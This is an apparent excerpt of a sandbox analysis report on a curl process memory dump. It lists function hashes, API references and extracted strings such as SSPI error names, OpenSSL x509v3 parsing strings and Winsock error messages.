Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 203ae7a8d529bc1099c54eb1ec8651c808a336f352cbff3860e9184f2f487321
Instruction ID: 641b9ded4e025aa1e49f4b37316115a42dc16936cf9c03e7c474146cabe4bef0
Opcode Fuzzy Hash: 203ae7a8d529bc1099c54eb1ec8651c808a336f352cbff3860e9184f2f487321
Instruction Fuzzy Hash: 6C51332121D3859FC345CF6D448045EFFE1AEEA104F888A6EF4D4DB353C524DA1ACBA2

Function 009E03A0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596b08a272f9ed17e47196c9f144c6149964d895b6d5e4142345279c60700748
Instruction ID: d5996193e9996c581a69eef54c642b660d01a476d4aff6cdbc7748f194843f81
Opcode Fuzzy Hash: 596b08a272f9ed17e47196c9f144c6149964d895b6d5e4142345279c60700748
Instruction Fuzzy Hash: 1D51112160D3859FC305CF6E449045EFFE1AEE9200F888A6EF4D4DB343D564DA1ACBA2

Function 009DC000 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb48f765a35099a57b4c1178403b6ca8a51327f682ddc27b39e029b5689ac548
Instruction ID: f86a7e06bf2c54bf2ac4ff031b9ee8a29eb17ffbf0622bce0f884371ebb359c8
Opcode Fuzzy Hash: bb48f765a35099a57b4c1178403b6ca8a51327f682ddc27b39e029b5689ac548
Instruction Fuzzy Hash: B241B1716083929FDB19CA6DC85093AFBE5BFDA304F18869EF4D997342C620D905CB91

Function 009DC780 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f187bdde876255aed117d0a32ce136c70c1931fca33a178af1bf86fbbc365215
Instruction ID: 7a7418b82b52ea8d020b6628e4d63d67eaa0f8e644e69f83cf32a71f83746ebc
Opcode Fuzzy Hash: f187bdde876255aed117d0a32ce136c70c1931fca33a178af1bf86fbbc365215
Instruction Fuzzy Hash: 9E5191745147D28FC724CF59E8A1436BBF0BB4A306305845ED9EA97291C739E623CF50

Function 00A224F0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 58037881d0ccd4890e31bd84a306f91220b9ed2e443fa42cb6e954500208b58f
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: B51108772410B263D6148F2DF8B47BBE795EBD9320B6DC37AD0428B664D22AD9859700

Function 00932490 Relevance: 157.8, APIs: 7, Strings: 83, Instructions: 275windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?), ref: 009324B2
FormatMessageA.KERNEL32(00001200,00000000,00000000,00000000,?,000000FF,00000000), ref: 0093284C
_strrchr.LIBCMT ref: 00932865
_strrchr.LIBCMT ref: 00932888
_strncpy.LIBCMT ref: 009328CE
GetLastError.KERNEL32 ref: 009328D6
SetLastError.KERNEL32(00000000), ref: 009328E1

Strings

SEC_E_OUT_OF_SEQUENCE, xrefs: 009326AA
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 00932754
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 009325D8
No error, xrefs: 00932791, 0093279B
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 00932718
SEC_E_INVALID_HANDLE, xrefs: 009325BA
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 00932704
SEC_E_ILLEGAL_MESSAGE, xrefs: 00932588
SEC_E_CANNOT_PACK, xrefs: 00932510
SEC_E_TIME_SKEW, xrefs: 00932740
SEC_E_INCOMPLETE_MESSAGE, xrefs: 0093259C
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 00932614
SEC_E_SECURITY_QOS_FAILED, xrefs: 009326FA
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 00932542
SEC_E_MESSAGE_ALTERED, xrefs: 00932632
SEC_E_BAD_PKGID, xrefs: 009324F2
SEC_E_MUST_BE_KDC, xrefs: 00932646
SEC_E_INSUFFICIENT_MEMORY, xrefs: 009325A6
SEC_E_WRONG_PRINCIPAL, xrefs: 0093278A
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 0093265A
%s (0x%04X%04X), xrefs: 0093281D
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 009326B4
SEC_I_SIGNATURE_NEEDED, xrefs: 009327F2
SEC_E_BUFFER_TOO_SMALL, xrefs: 009324FC
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 009325E2
SEC_I_CONTEXT_EXPIRED, xrefs: 009327C8
SEC_E_REVOCATION_OFFLINE_C, xrefs: 009326DC
SEC_E_INVALID_PARAMETER, xrefs: 009325C4
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 0093260A
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 009327D6
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 00932783
SEC_E_CERT_EXPIRED, xrefs: 0093251A
SEC_E_INVALID_TOKEN, xrefs: 009325CE
SEC_E_KDC_CERT_REVOKED, xrefs: 009325F6
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 009326E6
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 00932696
SEC_I_LOCAL_LOGON, xrefs: 009327DD
SEC_E_CANNOT_INSTALL, xrefs: 00932506
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 00932592
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 009327BA
SEC_E_NO_TGT_REPLY, xrefs: 009326A0
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 00932768
SEC_E_NO_PA_DATA, xrefs: 0093268C
SEC_E_INTERNAL_ERROR, xrefs: 009325B0
SEC_E_LOGON_DENIED, xrefs: 0093261E
SEC_E_CONTEXT_EXPIRED, xrefs: 00932538
%s - %s, xrefs: 009328AE
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 0093275E
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 009326BE
SEC_E_NO_CREDENTIALS, xrefs: 00932664
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 0093254C
SEC_I_RENEGOTIATE, xrefs: 009327EB
SEC_E_QOP_NOT_SUPPORTED, xrefs: 009326D2
SEC_E_CERT_UNKNOWN, xrefs: 00932524
SEC_E_KDC_INVALID_REQUEST, xrefs: 00932600
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 00932628
SEC_E_BAD_BINDINGS, xrefs: 009324E8
SEC_E_DELEGATION_POLICY, xrefs: 00932560
SEC_I_COMPLETE_NEEDED, xrefs: 009327C1
SEC_E_SECPKG_NOT_FOUND, xrefs: 009326F0
SEC_I_NO_LSA_CONTEXT, xrefs: 009327E4
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 0093274A
SEC_E_NO_IMPERSONATION, xrefs: 0093266E
SEC_E_NO_KERB_KEY, xrefs: 00932682
SEC_E_POLICY_NLTM_ONLY, xrefs: 009326C8
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 0093272C
SEC_E_DECRYPT_FAILURE, xrefs: 00932556
SEC_E_ALGORITHM_MISMATCH, xrefs: 009324DE
SEC_E_DELEGATION_REQUIRED, xrefs: 0093256A
SEC_E_TARGET_UNKNOWN, xrefs: 00932736
Unknown error, xrefs: 009327F9, 0093281C
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 00932772
SEC_E_CERT_WRONG_USAGE, xrefs: 0093252E
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 0093270E
SEC_E_NO_IP_ADDRESSES, xrefs: 00932678
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 0093263C
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 00932722
SEC_E_DOWNGRADE_DETECTED, xrefs: 00932574
SEC_E_UNTRUSTED_ROOT, xrefs: 0093277C
SEC_E_ENCRYPT_FAILURE, xrefs: 0093257E
SEC_E_KDC_CERT_EXPIRED, xrefs: 009325EC
SEC_E_NOT_OWNER, xrefs: 00932650
SEC_I_CONTINUE_NEEDED, xrefs: 009327CF, 00932807

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast$_strrchr$FormatMessage_strncpy
String ID: %s (0x%04X%04X)$%s - %s$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 1266255866-764561750
Opcode ID: edccc945fe9741f54b17f00742bf907cc02b77ea8ec6c4ddefb240926f9b41bf
Instruction ID: a4689eb4d2c96b4eca00287f12c136c68390a8b602e28445055de4824872a850
Opcode Fuzzy Hash: edccc945fe9741f54b17f00742bf907cc02b77ea8ec6c4ddefb240926f9b41bf
Instruction Fuzzy Hash: 0F91D23822C281E7D33CC7185D65B76629AFBC0300F24C93EA74B6A2E9DD1D68457B93

Function 009D8390 Relevance: 110.7, APIs: 6, Strings: 57, Instructions: 467COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 009D8613
_memmove.LIBCMT ref: 009D86A3
_strncmp.LIBCMT ref: 009D8721
_strncmp.LIBCMT ref: 009D8844
_memmove.LIBCMT ref: 009D88A0

Part of subcall function 009A1FF0: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,00000000,00000000,?,?), ref: 009A2033
Part of subcall function 009A1FF0: GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 009A203F
Part of subcall function 009A1FF0: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000,00000000,00000000,?,?), ref: 009A2062
Part of subcall function 009A1FF0: GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 009A206E

Strings

,name:, xrefs: 009D8431
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D87BE
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D87F0
,value:, xrefs: 009D8951
section:, xrefs: 009D8438
section:, xrefs: 009D8488
policy, xrefs: 009D8580
,value:, xrefs: 009D891C
,value:, xrefs: 009D8509
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D840F
,value:, xrefs: 009D88DB
section:, xrefs: 009D88EA
file:, xrefs: 009D8719
section:, xrefs: 009D856A
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D8541
,name:, xrefs: 009D8959
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D893C
language, xrefs: 009D83CA
,value:, xrefs: 009D855B
section:, xrefs: 009D85EB
section:, xrefs: 009D8770
pathlen, xrefs: 009D849E
,name:, xrefs: 009D865C
,name:, xrefs: 009D8769
,value:, xrefs: 009D8761
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D88C4
section:, xrefs: 009D8663
,value:, xrefs: 009D8429
text:, xrefs: 009D883C
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D84EF
section:, xrefs: 009D8518
,value:, xrefs: 009D85DC
,value:, xrefs: 009D8479
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D8462
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D86DD
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D85C5
hex:, xrefs: 009D860B
,name:, xrefs: 009D85E4
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D8904
,name:, xrefs: 009D8481
,name:, xrefs: 009D8924
section:, xrefs: 009D8960
section:, xrefs: 009D87DF
,value:, xrefs: 009D87D0
,value:, xrefs: 009D86FE
,name:, xrefs: 009D8511
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D863D
,value:, xrefs: 009D8654
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D8870
section:, xrefs: 009D870D
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D867E
,name:, xrefs: 009D88E3
section:, xrefs: 009D892B
,name:, xrefs: 009D8563
,name:, xrefs: 009D87D8
..\..\openssl\openssl\crypto\x509v3\v3_pci.c, xrefs: 009D874A
,name:, xrefs: 009D8706

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp$ByteCharErrorLastMultiWide_memmove
String ID: ,name:$,name:$,name:$,name:$,name:$,name:$,name:$,name:$,name:$,name:$,name:$,name:$,value:$,value:$,value:$,value:$,value:$,value:$,value:$,value:$,value:$,value:$,value:$,value:$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$..\..\openssl\openssl\crypto\x509v3\v3_pci.c$file:$hex:$language$pathlen$policy$section:$section:$section:$section:$section:$section:$section:$section:$section:$section:$section:$section:$text:
API String ID: 1148482765-3742171665
Opcode ID: 67bb576d0a11188570cdcb217d3e17b3de99457272ec57e332bd0960726bbdf0
Instruction ID: ca07ff36ed337f229fe101f40e525982af6349ed766365b18ff2b177688193f9
Opcode Fuzzy Hash: 67bb576d0a11188570cdcb217d3e17b3de99457272ec57e332bd0960726bbdf0
Instruction Fuzzy Hash: C8F1E371284301AFD7219F60CC52F2777E1BFAA704F148859F6895B3E2EB76A841CB52

Function 00932070 Relevance: 89.4, APIs: 1, Strings: 50, Instructions: 127COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 0093227D

Strings

Network unreachable, xrefs: 00932174
Too many users, xrefs: 00932212
Network down, xrefs: 0093216A
No data record of requested type, xrefs: 00932263
Host not found, xrefs: 0093224A
Winsock library is not ready, xrefs: 00932235
Disconnected, xrefs: 0093222E
Protocol is unsupported, xrefs: 00932124
Out of file descriptors, xrefs: 009320D4
Socket is already connected, xrefs: 009321A6
Timed out, xrefs: 009321CE
Call interrupted, xrefs: 009320A2
Protocol family not supported, xrefs: 0093214C
Something is stale, xrefs: 00932220
Connection refused, xrefs: 009321D8
Winsock library not initialised, xrefs: 0093223C
Address already in use, xrefs: 00932156
Bad file, xrefs: 009320AC
Socket is unsupported, xrefs: 0093212E
Remote error, xrefs: 00932227
